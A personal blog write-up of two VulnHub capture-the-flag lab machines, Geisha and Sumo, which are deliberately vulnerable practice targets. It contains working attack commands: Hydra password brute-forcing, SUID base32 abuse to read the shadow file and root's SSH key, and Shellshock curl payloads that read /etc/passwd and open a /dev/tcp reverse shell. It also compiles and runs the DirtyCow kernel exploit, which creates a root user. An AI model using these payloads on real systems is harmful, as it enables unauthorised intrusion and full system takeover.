Sumo and Geisha

I decided to do some more of the SunCSR Team boxes on VulnHub because I saw someone talking them up; I had done a couple already. It wasn’t easy though - although not for the reasons you might think.


I used to use VMWare for my Kali but every few months it would just randomly nuke my box and I’d have to reinstall. Since I built my new PC, I only had VirtualBox and it has been seamless.

But … some of the SunCSR boxes are marked as working better with VMWare and I couldn’t get them to get an IP with VirtualBox like I normally would. So, I installed VMWare … and what a pain in the ass that turned out to be, for various reasons.

Anyway, I did Geisha with both Kali and Geisha in VMWare, then I got Sumo to run in VirtualBox. So far I can’t get BlueSky to run at all. I mean it boots okay, but I can’t connect to it.


This will be brief. It has like 5 different HTTP ports, plus FTP (no anonymous) and SSH. While I’m enumerating the various HTTP services, I have Hydra running against FTP with a username I found on one of the pages - the passwd file is on the webserver. Despite having a vulnerable webapp on two on the ports, I can’t find the login page - suggesting it may be a red herring. Hydra finds a password for our user, and we can use this for both FTP and SSH.

Once on, base32 has the SUID bit (thanks linpeas) and we can use it to read files. I read the shadow file but can’t crack the hash; so I use it to get the root SSH key and SSH in as root; done.


HTTP and SSH only. Web enumeration reveals a /cgi-bin directory so I add sh and cgi to my extensions:

└─# feroxbuster -u -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,sh,cgi

# snip
200        1l        3w        0c
# snip

Smells like shellshock?

└─# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'"               3 ⨯

# snip

Yep. Shell:

└─# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'"

This box has an old kernel, and suggests DirtyCow. This shit never works for me, but we’ll try:

www-data@ubuntu:/dev/shm$ gcc -pthread dirty.c -o dirty -lcrypt
gcc -pthread dirty.c -o dirty -lcrypt
gcc: error trying to exec 'cc1': execvp: No such file or directory

HA! I’ve seen this before:

www-data@ubuntu:/dev/shm$ export PATH=/usr/lib/lightdm/lightdm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
www-data@ubuntu:/dev/shm$ !12
gcc -pthread dirty.c -o dirty -lcrypt

That’s better.

www-data@ubuntu:/dev/shm$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: none

Complete line:

mmap: 7f7d5602b000

It appears to have hung at this point - dammit! Let’s try another login:

└─# ssh firefart@                                                                                                    18 ⨯
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:G8HZXu6SUrixt/obia/CUlTgdJK9JaFKXwulm6uUrbQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
firefart@'s password: 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation:
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon May 11 11:47:26 2020
firefart@ubuntu:~# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@ubuntu:~# cd /root
firefart@ubuntu:~# ls -lash
total 28K
4.0K drwx------  3 firefart root 4.0K May 13  2020 .
4.0K drwxr-xr-x 23 firefart root 4.0K May 11  2020 ..
4.0K -rw-------  1 firefart root   22 May 13  2020 .bash_history
4.0K -rw-r--r--  1 firefart root 3.1K Apr 19  2012 .bashrc
4.0K drwx------  2 firefart root 4.0K May 11  2020 .cache
4.0K -rw-r--r--  1 firefart root  140 Apr 19  2012 .profile
4.0K -rw-r--r--  1 firefart root   24 May 11  2020 root.txt
firefart@ubuntu:~# cat root.txt

Well there you go, I guess it does work sometimes.